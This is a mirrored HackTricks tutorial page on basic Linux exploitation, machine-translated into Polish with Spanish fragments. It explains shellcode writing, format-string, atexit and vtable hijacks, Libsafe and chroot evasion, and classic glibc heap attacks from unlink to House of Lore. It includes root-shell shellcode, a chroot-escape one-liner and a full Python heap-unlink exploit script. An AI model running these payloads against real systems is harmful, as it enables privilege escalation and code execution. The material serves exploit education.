mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
570 lines
33 KiB
Markdown
570 lines
33 KiB
Markdown
# Linux Exploiting (Basic) (SPA)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; czyścimy eax\
|
||
xor ebx, ebx ; ebx = 0, ponieważ nie ma argumentu do przekazania\
|
||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||
int 0x80 ; Wykonaj syscall
|
||
|
||
**nasm -f elf assembly.asm** —> Zwraca nam .o\
|
||
**ld assembly.o -o shellcodeout** —> Daje nam wykonywalny plik utworzony z kodu assemblera i możemy uzyskać opcodes za pomocą **objdump**\
|
||
**objdump -d -Mintel ./shellcodeout** —> Aby zobaczyć, że to rzeczywiście nasza shellcode i uzyskać OpCodes
|
||
|
||
**Sprawdź, czy shellcode działa**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Aby zobaczyć, że wywołania systemowe są realizowane poprawnie, należy skompilować powyższy program, a wywołania systemowe powinny pojawić się w **strace ./PROGRAMA\_COMPILADO**
|
||
|
||
Podczas tworzenia shellcode'ów można zastosować trik. Pierwsza instrukcja to skok do wywołania. Wywołanie (call) odwołuje się do oryginalnego kodu i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieściliśmy potrzebny ciąg, dzięki czemu z tym EIP możemy wskazać na ciąg i kontynuować wykonywanie kodu.
|
||
|
||
EJ **TRIK (/bin/sh)**:
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
**EJ używając Stosu(/bin/sh):**
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJ FNSTENV:**
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Egg Huter:**
|
||
|
||
Składa się z małego kodu, który przeszukuje strony pamięci związane z procesem w poszukiwaniu shellcode tam przechowywanego (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko małą przestrzeń na wstrzyknięcie kodu.
|
||
|
||
**Shellcodes polimórficzne**
|
||
|
||
Składają się z zaszyfrowanych shelli, które mają mały kod, który je deszyfruje i przeskakuje do niego, używając sztuczki Call-Pop, to byłby **przykład szyfrowania cezara**:
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
## **5.Métodos complementarios**
|
||
|
||
**Technika Murat**
|
||
|
||
W systemie Linux wszystkie programy są mapowane zaczynając od 0xbfffffff
|
||
|
||
Patrząc na to, jak budowana jest stos nowego procesu w systemie Linux, można opracować exploit w taki sposób, aby program był uruchamiany w środowisku, którego jedyną zmienną byłby shellcode. Adres ten można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA\_pełnego\_programu) - strlen(shellcode)
|
||
|
||
W ten sposób można łatwo uzyskać adres, w którym znajduje się zmienna środowiskowa z shellcode.
|
||
|
||
Można to zrobić dzięki funkcji execle, która pozwala na stworzenie środowiska, które ma tylko te zmienne środowiskowe, które są pożądane.
|
||
|
||
###
|
||
|
||
###
|
||
|
||
###
|
||
|
||
###
|
||
|
||
###
|
||
|
||
### **Format Strings to Buffer Overflows**
|
||
|
||
**sprintf** przenosi sformatowany ciąg **do** **zmiennej.** Dlatego można nadużyć **formatowania** ciągu, aby spowodować **przepełnienie bufora w zmiennej**, do której kopiowana jest zawartość.\
|
||
Na przykład, ładunek `%.44xAAAA` **zapisze 44B+"AAAA" w zmiennej**, co może spowodować przepełnienie bufora.
|
||
|
||
### **\_\_atexit Structures**
|
||
|
||
{% hint style="danger" %}
|
||
Obecnie bardzo **dziwne jest wykorzystanie tego**.
|
||
{% endhint %}
|
||
|
||
**`atexit()`** to funkcja, do której **przekazywane są inne funkcje jako parametry.** Te **funkcje** będą **wykonywane** podczas wykonywania **`exit()`** lub **powrotu** z **main**.\
|
||
Jeśli możesz **zmodyfikować** **adres** dowolnej z tych **funkcji**, aby wskazywał na shellcode, na przykład, zyskasz **kontrolę** nad **procesem**, ale obecnie jest to bardziej skomplikowane.\
|
||
Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adresy, na które wskazują, nie są adresami funkcji, ale są **szyfrowane za pomocą XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku jest **niewiele użyteczny przynajmniej na x86** i **x64\_86**.\
|
||
Funkcja **szyfrująca** to **`PTR_MANGLE`**. **Inne architektury** takie jak m68k, mips32, mips64, aarch64, arm, hppa... **nie implementują funkcji szyfrującej**, ponieważ **zwraca to samo**, co otrzymała jako wejście. Tak więc te architektury byłyby atakowalne przez ten wektor.
|
||
|
||
### **setjmp() & longjmp()**
|
||
|
||
{% hint style="danger" %}
|
||
Obecnie bardzo **dziwne jest wykorzystanie tego**.
|
||
{% endhint %}
|
||
|
||
**`Setjmp()`** pozwala na **zapisanie** **kontekstu** (rejestrów)\
|
||
**`longjmp()`** pozwala na **przywrócenie** **kontekstu**.\
|
||
**Zapisane rejestry** to: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||
Co się dzieje, to to, że EIP i ESP są przekazywane przez funkcję **`PTR_MANGLE`**, więc **architektury podatne na ten atak są takie same jak powyżej**.\
|
||
Są one przydatne do odzyskiwania błędów lub przerwań.\
|
||
Jednak, z tego co przeczytałem, inne rejestry nie są chronione, **więc jeśli w funkcji wywoływanej znajduje się `call ebx`, `call esi` lub `call edi`**, kontrola może być przejęta. Można również zmodyfikować EBP, aby zmodyfikować ESP.
|
||
|
||
**VTable i VPTR w C++**
|
||
|
||
Każda klasa ma **Vtable**, która jest tablicą **wskaźników do metod**.
|
||
|
||
Każdy obiekt klasy ma **VPtr**, który jest **wskaźnikiem** do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli uda się **nadpisać** **VPtr**, można go **zmodyfikować**, aby **wskazywał** na metodę zastępczą, tak aby wykonanie funkcji prowadziło do shellcode.
|
||
|
||
## **Medidas preventivas y evasiones**
|
||
|
||
###
|
||
|
||
**Zastąpienie Libsafe**
|
||
|
||
Aktywuje się za pomocą: LD\_PRELOAD=/lib/libsafe.so.2\
|
||
lub\
|
||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||
|
||
Przechwytywane są wywołania do niektórych niebezpiecznych funkcji przez inne bezpieczne. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla kompilacji statycznych, nie wszystkie funkcje podatne stają się bezpieczne, a LD\_PRELOAD nie działa w binariach z suid).
|
||
|
||
**ASCII Armored Address Space**
|
||
|
||
Polega na załadowaniu bibliotek współdzielonych od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednak to naprawdę nie zatrzymuje prawie żadnego ataku, a tym bardziej w little endian.
|
||
|
||
**ret2plt**
|
||
|
||
Polega na przeprowadzeniu ROP w taki sposób, aby wywołać funkcję strcpy@plt (z plt) i wskazać na wpis w GOT oraz skopiować pierwszy bajt funkcji, którą chce się wywołać (system()). Następnie robi się to samo, wskazując na GOT+1 i kopiując 2. bajt system()… Na końcu wywołuje się adres zapisany w GOT, który będzie system().
|
||
|
||
**Klatki z chroot()**
|
||
|
||
debootstrap -arch=i386 hardy /home/user —> Instaluje podstawowy system w określonym podkatalogu
|
||
|
||
Administrator może wyjść z jednej z tych klatek, wykonując: mkdir foo; chroot foo; cd ..
|
||
|
||
**Instrumentacja kodu**
|
||
|
||
Valgrind —> Szuka błędów\
|
||
Memcheck\
|
||
RAD (Return Address Defender)\
|
||
Insure++
|
||
|
||
## **8 Heap Overflows: Exploits básicos**
|
||
|
||
**Przydzielony kawałek**
|
||
|
||
prev\_size |\
|
||
size | —Nagłówek\
|
||
\*mem | Dane
|
||
|
||
**Wolny kawałek**
|
||
|
||
prev\_size |\
|
||
size |\
|
||
\*fd | Wskaźnik do następnego kawałka\
|
||
\*bk | Wskaźnik do poprzedniego kawałka —Nagłówek\
|
||
\*mem | Dane
|
||
|
||
Wolne kawałki znajdują się na podwójnie powiązanej liście (bin) i nigdy nie mogą być dwa wolne kawałki obok siebie (są łączone).
|
||
|
||
W "size" są bity, aby wskazać: Czy poprzedni kawałek jest w użyciu, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównej areny.
|
||
|
||
Jeśli podczas zwalniania kawałka którykolwiek z sąsiednich jest wolny, są one łączone za pomocą makra unlink() i nowy większy kawałek jest przekazywany do frontlink(), aby wstawił odpowiedni bin.
|
||
|
||
unlink(){\
|
||
BK = P->bk; —> BK nowego kawałka to ten, który miał już wcześniej wolny\
|
||
FD = P->fd; —> FD nowego kawałka to ten, który miał już wcześniej wolny\
|
||
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek\
|
||
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek\
|
||
}
|
||
|
||
Dlatego, jeśli uda nam się zmodyfikować P->bk z adresem shellcode i P->fd z adresem do wpisu w GOT lub DTORS minus 12, osiągamy:
|
||
|
||
BK = P->bk = \&shellcode\
|
||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||
|
||
I w ten sposób shellcode zostanie wykonany po zakończeniu programu.
|
||
|
||
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być naprawiona dla tego:
|
||
|
||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> To powoduje zapisanie 4 bajtów od 8. bajtu shellcode, więc pierwsza instrukcja shellcode musi być jmp, aby to przeskoczyć i przejść do nops, które prowadzą do reszty shellcode.
|
||
|
||
W związku z tym exploit jest tworzony:
|
||
|
||
W buffer1 umieszczamy shellcode, zaczynając od jmp, aby trafić w nops lub w resztę shellcode.
|
||
|
||
Po shellcode dodajemy wypełnienie, aż dotrzemy do pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (w taki sposób, aby nadpisać prev\_size, aby miał bit wskazujący, że jest wolny) i “-4“(0xfffffffc) w size (aby, gdy sprawdzi w 3. kawałku, czy 2. był w rzeczywistości wolny, poszło do zmodyfikowanego prev\_size, które powie, że jest wolny) -> Tak więc, gdy free() zbada, pójdzie do size 3. kawałka, ale w rzeczywistości pójdzie do 2. - 4 i pomyśli, że 2. kawałek jest wolny. A następnie wywoła **unlink()**.
|
||
|
||
Podczas wywoływania unlink() użyje jako P->fd pierwszych danych 2. kawałka, więc tam wprowadzi adres, który chce nadpisać - 12 (ponieważ w FD->bk doda 12 do zapisanej w FD adresu). A w tym adresie wprowadzi drugi adres, który znajdzie w 2. kawałku, który nas interesuje, aby był adresem do shellcode (fałszywe P->bk).
|
||
|
||
**from struct import \***
|
||
|
||
**import os**
|
||
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtów wypełnienia**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev\_size = pack("\<I”, 0xfffffff0) #Interesuje, aby bit wskazujący, że poprzedni kawałek jest wolny, był ustawiony na 1**
|
||
|
||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, aby myślał, że “size” 3. kawałka jest 4 bajty wstecz (wskazuje na prev\_size), ponieważ tam sprawdza, czy 2. kawałek jest wolny**
|
||
|
||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Na początku ładunku umieścimy 8 bajtów wypełnienia**
|
||
|
||
**got\_free = pack("\<I", 0x08048300 - 12) #Adres free() w plt-12 (będzie to adres, który zostanie nadpisany, aby uruchomić shellcode przy 2. wywołaniu free)**
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Jak już powiedziano, ładunek zaczyna się od 8 bajtów wypełnienia, bo tak**
|
||
|
||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modyfikujemy 2. kawałek, got\_free wskazuje, gdzie zapiszemy adres addr\_sc + 12**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() zwalniając w odwrotnej kolejności (wargame)**
|
||
|
||
Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności do zarezerwowanych.
|
||
|
||
W tym przypadku:
|
||
|
||
W kawałku c umieszczamy shellcode
|
||
|
||
Kawałek a używamy do nadpisania b w taki sposób, aby size miało bit PREV\_INUSE wyłączony, aby myślał, że kawałek a jest wolny.
|
||
|
||
Dodatkowo, nadpisujemy w nagłówku b size, aby wynosiło -4.
|
||
|
||
W ten sposób program pomyśli, że “a” jest wolne i w binie, więc wywoła unlink() w celu odłączenia go. Jednak, ponieważ nagłówek PREV\_SIZE wynosi -4, pomyśli, że kawałek “a” w rzeczywistości zaczyna się w b+4. To znaczy, wywoła unlink() na kawałku, który zaczyna się w b+4, więc w b+12 będzie wskaźnik “fd”, a w b+16 będzie wskaźnik “bk”.
|
||
|
||
W ten sposób, jeśli w bk umieścimy adres do shellcode, a w fd umieścimy adres do funkcji “puts()”-12, mamy nasz ładunek.
|
||
|
||
**Technika Frontlink**
|
||
|
||
Nazywa się frontlink, gdy zwalnia się coś i żaden z jego sąsiednich kawałków nie jest wolny, nie wywołuje się unlink(), lecz bezpośrednio wywołuje frontlink().
|
||
|
||
Przydatna podatność, gdy malloc, który jest atakowany, nigdy nie jest zwalniany (free()).
|
||
|
||
Wymaga:
|
||
|
||
Bufora, który może być przepełniony za pomocą funkcji wejściowej
|
||
|
||
Bufora przylegającego do tego, który musi być zwolniony i którego pole fd nagłówka zostanie zmodyfikowane dzięki przepełnieniu poprzedniego bufora
|
||
|
||
Bufora do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
|
||
|
||
Bufora zadeklarowanego przed krokiem 3, który pozwoli na nadpisanie prev\_size tego
|
||
|
||
W ten sposób, osiągając nadpisanie w dwóch mallocach w sposób niekontrolowany i w jednym w sposób kontrolowany, ale tylko ten jeden jest zwalniany, możemy stworzyć exploit.
|
||
|
||
**Podatność double free()**
|
||
|
||
Jeśli wywoła się dwa razy free() z tym samym wskaźnikiem, pozostają dwa biny wskazujące na ten sam adres.
|
||
|
||
W przypadku chęci ponownego użycia jednego, zostanie przypisany bez problemów. W przypadku chęci użycia drugiego, zostanie przypisany ten sam obszar, przez co będziemy mieli wskaźniki “fd” i “bk” fałszywe z danymi, które zapisze poprzednia rezerwacja.
|
||
|
||
**After free()**
|
||
|
||
Wcześniej zwolniony wskaźnik jest używany ponownie bez kontroli.
|
||
|
||
## **8 Heap Overflows: Exploits avanzados**
|
||
|
||
Techniki Unlink() i FrontLink() zostały usunięte po modyfikacji funkcji unlink().
|
||
|
||
**The house of mind**
|
||
|
||
Wystarczy jedno wywołanie free(), aby spowodować wykonanie dowolnego kodu. Ważne jest, aby znaleźć drugi kawałek, który może być przepełniony przez wcześniejszy i zwolniony.
|
||
|
||
Wywołanie free() powoduje wywołanie public\_fREe(mem), co robi:
|
||
|
||
mstate ar\_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mem); —> Zwraca wskaźnik do adresu, w którym zaczyna się kawałek (mem-8)
|
||
|
||
…
|
||
|
||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||
|
||
…
|
||
|
||
\_int\_free(ar\_ptr, mem);
|
||
|
||
}
|
||
|
||
W \[1] sprawdza pole size bit NON\_MAIN\_ARENA, które można zmienić, aby sprawdzenie zwróciło true i wykonało heap\_for\_ptr(), które wykonuje and na “mem”, pozostawiając 2.5 najmniej znaczące bajty na 0 (w naszym przypadku z 0x0804a000 pozostawia 0x08000000) i uzyskuje dostęp do 0x08000000->ar\_ptr (jakby to był struct heap\_info)
|
||
|
||
W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i ma być zwolniony kawałek w **0x081002a0**, możemy dotrzeć do adresu 0x08100000 i zapisać, co chcemy, na przykład **0x0804a000**. Gdy ten drugi kawałek zostanie zwolniony, okaże się, że heap\_for\_ptr(ptr)->ar\_ptr zwraca to, co zapisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 and, które widzieliśmy wcześniej, a z tego uzyskuje się wartość 4 pierwszych bajtów, ar\_ptr)
|
||
|
||
W ten sposób wywołuje się \_int\_free(ar\_ptr, mem), to znaczy, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||
…\
|
||
bck = unsorted\_chunks(av);\
|
||
fwd = bck->fd;\
|
||
p->bk = bck;\
|
||
p->fd = fwd;\
|
||
bck->fd = p;\
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co zapisaliśmy w kawałku, który ma być zwolniony.
|
||
|
||
Tak jak definiuje unsorted\_chunks, wiemy, że:\
|
||
bck = \&av->bins\[2]-8;\
|
||
fwd = bck->fd = \*(av->bins\[2]);\
|
||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||
|
||
Dlatego, jeśli w av->bins\[2] zapiszemy wartość \_\_DTOR\_END\_\_-12, w ostatniej instrukcji zapisze się w \_\_DTOR\_END\_\_ adres drugiego kawałka.
|
||
|
||
To znaczy, w pierwszym kawałku musimy na początku wielokrotnie umieścić adres \_\_DTOR\_END\_\_-12, ponieważ stamtąd weźmie av->bins\[2]
|
||
|
||
W adresie, w którym wyląduje adres drugiego kawałka z ostatnimi 5 zerami, należy zapisać adres do tego pierwszego kawałka, aby heap\_for\_ptr() myślał, że ar\_ptr jest na początku pierwszego kawałka i wyciągnie stamtąd av->bins\[2]
|
||
|
||
W drugim kawałku i dzięki pierwszemu nadpisujemy prev\_size z jump 0x0c i size czymś, aby aktywować -> NON\_MAIN\_ARENA
|
||
|
||
Następnie w kawałku 2 umieszczamy mnóstwo nops i na końcu shellcode.
|
||
|
||
W ten sposób wywoła się \_int\_free(TROZO1, TROZO2) i wykona instrukcje, aby zapisać w \_\_DTOR\_END\_\_ adres prev\_size kawałka 2, który przeskoczy do shellcode.
|
||
|
||
Aby zastosować tę technikę, należy spełnić kilka dodatkowych wymagań, które nieco komplikują ładunek.
|
||
|
||
Ta technika nie jest już stosowana, ponieważ zastosowano prawie tę samą łatkę, co dla unlink. Porównuje się, czy nowe miejsce, na które wskazuje, również wskazuje na niego.
|
||
|
||
**Fastbin**
|
||
|
||
Jest to wariant The house of mind
|
||
|
||
Interesuje nas, aby wykonać następujący kod, do którego dochodzi po pierwszym sprawdzeniu funkcji \_int\_free()
|
||
|
||
fb = &(av->fastbins\[fastbin\_index(size)] —> Gdzie fastbin\_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = \*fb
|
||
|
||
\*fb = p
|
||
|
||
W ten sposób, jeśli umieścimy w “fb” adres funkcji w GOT, w tym adresie umieścimy adres do nadpisanego kawałka. Aby to zrobić, konieczne będzie, aby arena była blisko adresów dtors. Dokładniej, aby av->max\_fast znajdowało się w adresie, który zamierzamy nadpisać.
|
||
|
||
Ponieważ w The House of Mind widzieliśmy, że kontrolowaliśmy pozycję av.
|
||
|
||
Więc jeśli w polu size umieścimy rozmiar 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() zwróci fastbins\[-1], co wskaże na av->max\_fast
|
||
|
||
W tym przypadku av->max\_fast będzie adresem, który zostanie nadpisany (nie tym, na który wskazuje, lecz ta pozycja będzie nadpisana).
|
||
|
||
Dodatkowo musi być spełnione, że kawałek przylegający do zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka wynosi 8, w tym fałszywym kawałku musimy umieścić tylko rozmiar większy niż 8 (ponieważ dodatkowo shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić jmp, który trafi w nops).
|
||
|
||
Dodatkowo, ten sam fałszywy kawałek musi być mniejszy niż av->system\_mem. av->system\_mem znajduje się 1848 bajtów dalej.
|
||
|
||
Z powodu zer w \_DTOR\_END\_ i niewielkiej liczby adresów w GOT, żaden z adresów w tych sekcjach nie nadaje się do nadpisania, więc zobaczmy, jak zastosować fastbin do ataku na stos.
|
||
|
||
Innym sposobem ataku jest przekierowanie **av** do stosu.
|
||
|
||
Jeśli zmodyfikujemy rozmiar, aby wynosił 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0] i możemy to wykorzystać do nadpisania stosu.
|
||
|
||
Aby to zrobić, nie może być żadnego canary ani dziwnych wartości na stosie, w rzeczywistości musimy znajdować się w tym: 4 bajty zerowe + EBP + RET
|
||
|
||
4 bajty zerowe są potrzebne, aby **av** znajdowało się pod tym adresem, a pierwszy element **av** to mutex, który musi wynosić 0.
|
||
|
||
**av->max\_fast** będzie EBP i będzie wartością, która posłuży nam do ominięcia ograniczeń.
|
||
|
||
W **av->fastbins\[0]** zostanie nadpisany adresem **p** i będzie RET, w ten sposób przeskoczy do shellcode.
|
||
|
||
Dodatkowo, w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie sporo śmieci, które pozwolą nam ominąć przeprowadzane sprawdzenie.
|
||
|
||
Dodatkowo musi być spełnione, że kawałek przylegający do zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka wynosi 16, w tym fałszywym kawałku musimy umieścić tylko rozmiar większy niż 8 (ponieważ dodatkowo shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić jmp, który trafi w nops, które są po polu size nowego fałszywego kawałka).
|
||
|
||
**The House of Spirit**
|
||
|
||
W tym przypadku staramy się mieć wskaźnik do malloc, który może być zmieniany przez atakującego (np. wskaźnik znajduje się na stosie pod potencjalnym przepełnieniem zmiennej).
|
||
|
||
W ten sposób moglibyśmy sprawić, że ten wskaźnik wskazywałby, gdziekolwiek byśmy chcieli. Jednak nie każde miejsce jest ważne, rozmiar fałszywego kawałka musi być mniejszy niż av->max\_fast i bardziej konkretnie równy rozmiarowi żądanym w przyszłym wywołaniu malloc()+8. Dlatego, jeśli wiemy, że po tym podatnym wskaźniku wywoływane jest malloc(40), rozmiar fałszywego kawałka musi wynosić 48.
|
||
|
||
Na przykład, jeśli program pytałby użytkownika o liczbę, moglibyśmy wprowadzić 48 i skierować wskaźnik malloc do następnych 4 bajtów (które mogłyby należeć do EBP z nadzieją, że 48 znajduje się za nim, jakby to była nagłówek size). Dodatkowo, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), to znaczy, 8 < ptr-4+48 < av->system\_mem.
|
||
|
||
Jeśli to zostanie spełnione, gdy wywołane zostanie następne malloc, które powiedzieliśmy, że to malloc(40), zostanie przypisane jako adres adresu EBP. Jeśli atakujący również może kontrolować, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem, który chce.
|
||
|
||
Myślę, że tak jest, ponieważ w ten sposób, gdy to zwolni free(), zapamięta, że w adresie, na który wskazuje EBP stosu, znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chce być zarezerwowany, więc przypisuje ten adres.
|
||
|
||
**The House of Force**
|
||
|
||
Wymagane jest:
|
||
|
||
* Przepełnienie kawałka, które pozwala na nadpisanie wilderness
|
||
* Wywołanie malloc() z rozmiarem określonym przez użytkownika
|
||
* Wywołanie malloc(), których dane mogą być definiowane przez użytkownika
|
||
|
||
Pierwsze, co się robi, to nadpisanie rozmiaru kawałka wilderness bardzo dużą wartością (0xffffffff), w ten sposób każda prośba o pamięć wystarczająco dużą będzie traktowana w \_int\_malloc() bez potrzeby rozszerzania heap.
|
||
|
||
Drugie to zmiana av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, jak stos. W av->top umieścimy \&EIP - 8.
|
||
|
||
Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:
|
||
|
||
victim = av->top;
|
||
|
||
remainder = chunk\_at\_offset(victim, nb);
|
||
|
||
av->top = remainder;
|
||
|
||
Victim zbiera wartość adresu aktualnego kawałka wilderness (aktualny av->top), a remainder to dokładnie suma tego adresu i ilości bajtów żądanych przez malloc(). Dlatego, jeśli \&EIP-8 znajduje się w 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc() wyniesie:
|
||
|
||
0xbffff224 - 0x080c2788 = 3086207644.
|
||
|
||
W ten sposób w av->top zostanie zapisany zmieniony wartość, a następny malloc będzie wskazywał na EIP i będzie mógł go nadpisać.
|
||
|
||
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie złożone przez ostatni malloc(). To znaczy, jeśli wilderness wskazuje na \&EIP-8, rozmiar znajdzie się dokładnie w polu EBP stosu.
|
||
|
||
**The House of Lore**
|
||
|
||
**Korupcja SmallBin**
|
||
|
||
Zwolnione kawałki są wprowadzane do binu w zależności od ich rozmiaru. Ale zanim zostaną wprowadzone, są przechowywane w unsorted bins. Kawałek jest zwalniany, nie jest od razu umieszczany w swoim binie, lecz pozostaje w unsorted bins. Następnie, jeśli zarezerwowany zostanie nowy kawałek, a poprzedni zwolniony może być użyty, zostanie zwrócony, ale jeśli zarezerwowany zostanie większy, zwolniony kawałek w unsorted bins zostanie umieszczony w odpowiednim binie.
|
||
|
||
